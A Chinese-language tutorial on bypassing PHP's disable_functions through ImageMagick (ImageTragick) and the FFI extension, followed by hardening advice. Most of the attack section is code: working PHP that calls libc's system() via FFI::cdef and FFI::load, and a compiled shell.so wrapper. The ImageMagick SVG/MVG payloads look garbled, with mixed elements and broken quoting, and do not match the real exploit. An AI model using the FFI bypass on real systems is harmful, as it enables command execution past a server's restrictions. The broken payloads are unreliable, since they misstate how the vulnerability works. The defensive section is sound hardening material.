PHP disable_functions绕过:利用ImageMagick或FFI扩展执行系统命令
大家好,今天我们来深入探讨一个PHP安全领域的重要议题:如何绕过disable_functions的限制,并利用ImageMagick或FFI扩展执行系统命令。disable_functions是PHP为了增强安全性而提供的一项配置,用于禁用一些潜在的危险函数,例如system、exec、shell_exec等。 然而,安全并非绝对,攻击者总是试图找到绕过限制的方法。
disable_functions的原理与局限性
disable_functions的配置位于php.ini文件中,可以指定一个用逗号分隔的函数列表。PHP在执行代码时,会检查调用的函数是否在禁用列表中,如果在,则会抛出一个错误。
局限性在于:
- 它只能禁用PHP内置函数和扩展提供的函数,无法阻止通过其他方式执行系统命令,例如利用扩展的漏洞。
- 如果扩展本身存在漏洞,攻击者可以通过该漏洞执行任意代码,进而绕过
disable_functions。 - 对于一些动态加载的扩展,如果
disable_functions设置在扩展加载之后才生效,可能存在绕过的机会。
ImageMagick简介及安全风险
ImageMagick是一个强大的图像处理工具,支持多种图像格式,并提供了丰富的命令行工具。PHP可以通过imagick扩展与ImageMagick进行交互。
然而,ImageMagick的历史上存在多个安全漏洞,其中最著名的就是"ImageTragick"漏洞(CVE-2016-3714)。该漏洞允许攻击者通过构造恶意的图像文件,执行任意系统命令。
利用ImageMagick绕过disable_functions
即使system、exec等函数被禁用,如果imagick扩展可用,并且ImageMagick的版本存在漏洞,就可以利用ImageTragick等漏洞绕过disable_functions。
绕过步骤:
-
检测ImageMagick版本: 首先需要确定服务器上安装的ImageMagick版本,以及是否存在已知的安全漏洞。可以通过
imagick::getVersion()方法获取版本信息,或者直接尝试利用漏洞进行测试。<?php if (extension_loaded('imagick')) { $imagick = new Imagick(); $version = $imagick->getVersion(); print_r($version); } else { echo "imagick extension is not installed."; } ?> -
构造恶意图像文件: 根据漏洞的类型,构造包含恶意命令的图像文件。例如,对于ImageTragick漏洞,可以构造一个包含
msl:协议的图像文件,其中包含要执行的命令。push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'msl:poc.svg' pop graphic-contextpoc.svg的内容:<image xmlns="http://www.w3.org/2000/svg" width="640" height="480" version="1.1"> <rect width="640" height="480" fill="white"/> <image href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI2NDAiIGhlaWdodD0iNDgwIj48cmVjdCB3aWR0aD0iNjQwIiBoZWlnaHQ9IjQ4MCIgZmlsbD0id2hpdGUiLz48L3N2Zz4K" x="0" y="0" width="640" height="480"/> <text x="10" y="20">Exploit</text> </image> <script type="text/xml-script" xlink:href="https://example.com/xxe.xml"/> <image xlink:href="https://example.com/image.jpg" x="0" y="0" width="640" height="480"/> <![CDATA[ <image xlink:href="; echo vulnerable > /tmp/test;"/> ]]>更简单的
poc.svg:<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <image xlink:href="; system('id > /tmp/output');" x="0" y="0" height="500" width="500"/> </svg>或者
<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <image xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href=";echo "shell_exec('id') > /tmp/shell.php";" x="0" y="0" height="500" width="500"/> </svg> -
利用
imagick扩展处理图像: 使用imagick扩展加载并处理恶意图像文件,触发漏洞,执行系统命令。<?php if (extension_loaded('imagick')) { $image = new Imagick(); $image->readImage('msl:poc.svg'); // 或者其他包含恶意命令的图像文件 $image->writeImage('output.png'); $image->clear(); $image->destroy(); echo "Image processed."; // 验证命令是否执行成功 if (file_exists('/tmp/test')) { echo "<br>Vulnerable!"; echo "<pre>"; echo file_get_contents('/tmp/test'); echo "</pre>"; } else { echo "<br>Not vulnerable or command failed."; } if (file_exists('/tmp/output')) { echo "<br>Command executed!"; echo "<pre>"; echo file_get_contents('/tmp/output'); echo "</pre>"; } else { echo "<br>Command execution failed."; } } else { echo "imagick extension is not installed."; } ?>
FFI(Foreign Function Interface)简介及安全风险
FFI允许PHP代码调用C语言函数,这为绕过disable_functions提供了另一种可能性。FFI扩展允许PHP直接调用动态链接库(.so或.dll)中的函数。
安全风险在于:
- 如果攻击者能够上传或创建包含恶意C代码的动态链接库,并使用FFI调用其中的函数,就可以执行任意代码。
- 即使没有上传权限,如果服务器上存在一些可以利用的动态链接库,攻击者也可以通过FFI调用其中的函数,绕过
disable_functions。
利用FFI绕过disable_functions
利用FFI绕过disable_functions通常需要以下步骤:
-
加载动态链接库: 使用
FFI::load()或FFI::cdef()函数加载动态链接库。FFI::load()直接从文件加载库,而FFI::cdef()允许定义C函数的接口,然后再加载库。 -
定义C函数接口: 如果使用
FFI::cdef(),需要定义要调用的C函数的接口,包括函数名、参数类型和返回值类型。 -
调用C函数: 使用FFI对象调用C函数,传递相应的参数。
-
执行系统命令: 通过调用C标准库中的
system函数或者其他可以执行系统命令的函数,绕过disable_functions。
绕过示例:
假设服务器上存在libc.so.6,并且system函数没有被禁用(即使system在php.ini中被禁用, C的标准库中的system函数仍然存在,FFI绕过正是利用这一点):
<?php
if (FFI::isAvailable()) {
try {
$ffi = FFI::cdef(
"int system(const char *command);",
"libc.so.6" // 或者其他包含system函数的库
);
$command = "id > /tmp/ffi_output";
$ffi->system($command);
echo "Command executed through FFI.";
if (file_exists('/tmp/ffi_output')) {
echo "<br>Command executed!";
echo "<pre>";
echo file_get_contents('/tmp/ffi_output');
echo "</pre>";
} else {
echo "<br>Command execution failed.";
}
} catch (FFIException $e) {
echo "FFI error: " . $e->getMessage();
}
} else {
echo "FFI is not available.";
}
?>
另一种方法,直接使用FFI::load:
<?php
if (FFI::isAvailable()) {
try {
$libc = FFI::load("/lib/x86_64-linux-gnu/libc.so.6"); // 替换为实际路径
$command = "id > /tmp/ffi_output";
$libc->system($command);
echo "Command executed through FFI.";
if (file_exists('/tmp/ffi_output')) {
echo "<br>Command executed!";
echo "<pre>";
echo file_get_contents('/tmp/ffi_output');
echo "</pre>";
} else {
echo "<br>Command execution failed.";
}
} catch (FFIException $e) {
echo "FFI error: " . $e->getMessage();
}
} else {
echo "FFI is not available.";
}
?>
如果目标环境没有libc.so.6,或者无法确定其路径,可以尝试创建一个简单的C动态链接库,其中包含system函数的包装器。
-
创建C代码文件(
shell.c):#include <stdlib.h> int my_system(const char *command) { return system(command); } -
编译C代码为动态链接库:
gcc -shared -o shell.so shell.c -
PHP代码利用FFI调用
my_system函数:<?php if (FFI::isAvailable()) { try { $ffi = FFI::cdef( "int my_system(const char *command);", "shell.so" // 替换为实际路径 ); $command = "id > /tmp/ffi_output"; $ffi->my_system($command); echo "Command executed through FFI."; if (file_exists('/tmp/ffi_output')) { echo "<br>Command executed!"; echo "<pre>"; echo file_get_contents('/tmp/ffi_output'); echo "</pre>"; } else { echo "<br>Command execution failed."; } } catch (FFIException $e) { echo "FFI error: " . $e->getMessage(); } } else { echo "FFI is not available."; } ?>
需要注意的是,这需要上传shell.so的权限,这通常比绕过disable_functions本身更难实现。但如果存在文件上传漏洞,或者其他方式可以写入文件,就可以利用这种方法。
防御措施
为了防止利用ImageMagick或FFI绕过disable_functions,可以采取以下措施:
- 更新ImageMagick: 及时更新ImageMagick到最新版本,修复已知的安全漏洞。
- 配置ImageMagick策略: 配置ImageMagick的策略文件(
policy.xml),禁用不必要的协议,例如msl:、ephemeral:等。 限制能够处理的文件类型。 - 禁用
imagick扩展: 如果不需要使用ImageMagick,可以禁用imagick扩展。 - 禁用FFI扩展: 如果不需要使用FFI,可以禁用FFI扩展。
- 限制文件上传: 严格限制文件上传的类型和大小,防止上传恶意图像文件或动态链接库。
- 安全审计: 定期进行安全审计,检查服务器配置和代码是否存在安全漏洞。
- 使用Web应用防火墙(WAF): WAF可以检测和阻止恶意的HTTP请求,例如包含恶意命令的图像文件。
- Chroot Jail: 将PHP进程限制在一个受限的目录中,阻止其访问系统其他部分。
- AppArmor/SELinux: 使用这些Linux安全模块可以更细粒度地控制PHP进程的权限。
代码案例:策略文件配置
以下是一个示例的ImageMagick策略文件(policy.xml),用于禁用一些危险的协议:
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="HTTP" />
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="SVG" />
<policy domain="coder" rights="none" pattern="TXT" />
<policy domain="coder" rights="read|write" pattern="PNG" />
<policy domain="coder" rights="read|write" pattern="JPG" />
<policy domain="coder" rights="read|write" pattern="JPEG" />
</policymap>
代码案例:检测FFI是否可用的代码
<?php
if (FFI::isAvailable()) {
echo "FFI is available.";
} else {
echo "FFI is not available.";
}
?>
表格总结
| 绕过方式 | 依赖条件 | 防御措施 |
|---|---|---|
| ImageMagick | imagick扩展可用,ImageMagick版本存在漏洞 |
更新ImageMagick,配置策略文件,禁用imagick扩展,限制文件上传,使用WAF |
| FFI | FFI扩展可用,能够加载动态链接库(例如libc.so.6或自定义的.so) |
禁用FFI扩展,限制文件上传,Chroot Jail, AppArmor/SELinux, 安全审计,配置disable_functions,使用WAF |
| 其他扩展漏洞 | 其他扩展存在可利用的漏洞 | 及时更新扩展,禁用不必要的扩展,安全审计,配置disable_functions,使用WAF |
ImageMagick和FFI只是两种绕过disable_functions的示例。其他的扩展也可能存在漏洞,攻击者可以利用这些漏洞执行任意代码。因此,需要全面地考虑安全风险,采取多层次的防御措施。
核心思想:扩展的安全风险与防御
disable_functions 只是安全防御的第一道防线。真正的安全需要从根本上避免漏洞的产生,并采取多层次的防御措施。